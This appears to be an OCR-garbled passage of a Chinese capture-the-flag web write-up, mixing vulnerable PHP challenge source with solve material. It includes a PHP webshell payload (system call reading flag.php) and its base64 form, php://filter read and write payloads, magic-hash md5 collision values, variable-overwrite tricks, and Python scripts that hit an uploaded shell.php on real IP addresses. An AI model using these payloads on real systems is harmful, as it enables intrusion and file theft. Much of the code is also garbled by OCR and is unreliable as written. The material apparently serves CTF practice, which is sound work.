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IDOCTYPE html>
(!—html lang="zh—CN">
<head>
{meta http—equiv="Content-Type” content="text/html: charset=utf-8" />
/head>
<body>
7php

$Fflag="moc t £ {Fdffeieffeefefoft] ~ -

if (isset(§ GET[ a’])&&isset (§_ GET b)) |
$a=§ GET'a’];
Sb=§ GET/'b"];

if(§a==§b)

. . . -
echo “<center>Wrong Answer!</center’’;
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else |

if(md5 ($a)==md5 (§b))}

echo “<center:”. §flag. “</center>”;
echo “By:daoyuan”:
/!

else echo “Ccenter>Wrong Answer!</center>”:

else echo “<center>{F (50 T &4 center>”;
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</body>
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<php
include “flas. php”;
highlisht_file(_FILE_ J:

if (isset($_GET[ monev’ 100
$monev=3_GET[* money’ 1;
ifistrlen($money) <=4&Efmonev>time (J&&!is_array ($money) )
{
echo  Jflas;
echo <! —-By:daoyuan—>"
}

£ £l
else echo “Wronz Answer!”;
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else echo “Wronz Answer!”;
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/flag.php

/l_have_a_frog.php
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<Iphp
show_source(_ FILE_ )
fe="<Iphp exit:
@fc. =5_POST[ " 1,
@3 filename=% POST[" file'];
if(lisset ($filename))
{
file_put_contents{ tmp.php’, )
1
@file put_contents(§filename, $c);
include (" tmp. php' ) ;
s
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Haitshell: <?php system(cat flag.php);?>  base6411i /i
aPD9waHAgc3IzdGVIKCdjY XQgZmxhZy5waHAnKT s/Pg==

P&t A tmp.phptigpayload Ay
c=aPD9waHAgc3lzdGVIKCdjY XQgZmxhZySwaHAnKT s/Pg==&file=php://ffilter/write=convert.base64-
decode/resource=tmp.php
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<head></head>
r <body>
«<code></code>
ol gz
<1--?php //Flag: moctf{Basebd d0 nBt_g@ die} ?--»
<script src="moz-extension://cd417fa5-2e20-4027-a778-dffd474f39e3/js/inject.is"></script> @
</body>
/html>
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faitpayload: ?file=php:/filter/convert.oase64-encode/resource=flag.php
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import requests
import re
targeturl = "http://119.23.73.3:5001/webl0/"
r = requests.get(url=targeturl)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt = re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
ans = {
"answer" :number

}
url2 = "http://119.23.73.3:5001/webl10/work.php"

s = requests.post(url=url2,data=ans,cookies=r.cookies)

print s.content
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HTTP/1.1 302 Found

Date: Tue, 26 Mar 2019 11:18:16 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-Tubuntud .14
Location: index2.php

Content-Length: 33

Connection: close

Content-Type: text/html

May be u nced uploadsomething.php

i 1l uploadsomething.php Ui [

Content

Submit
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#-*- coding:utf-8 -*-
import requests
url="http://119.23.73.3:5006/web2/uploads/dObdc1c72726993c3817522c91150cc27cOb6148/shell.php"
while 1:

print(requests.get(url).text)
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<?php

highlight_file('index.php');

function waf(%$a){

foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');

}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $_R) {

if($%_R) {

foreach($$_R as $_k => $_v) {

if(isset($$__k) & $$__k == $__v) unset($$__k);
}

)

if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);

if($_GET) extract($_GET, EXTR_SKIP);

if(isset($_GET['flag'])){

if($_GET['flag'] === $_GET['daiker']){
exit('error');

}

if(md5($_GET['flag'] ) == md5($_GET[ 'daiker'])){
include($_GET['file']);

}

}

?>
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foreach(array('_POST', '_GET', '_COOKIE') as $_R) {
if($$_R) {
foreach($$_R as $__k => $_ v) {
if(isset($$_k) && $$_ k == $_ v) unset($$_ k);
}
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& Load URL [ http://119.23.73.3:5101/?flag=QNKCDZO8&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php
{  split URL
» Execute

Postdata [ Referrer @ OXHEX 3B @K %URL 3B @ BASEGA I | /nsertstring mlep/a&‘ ‘/nssf.{/spfarmgsmng Ref

Jost data _GET[flag]=QNKCDZO®& _GET[daiker]=s878926199a& GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
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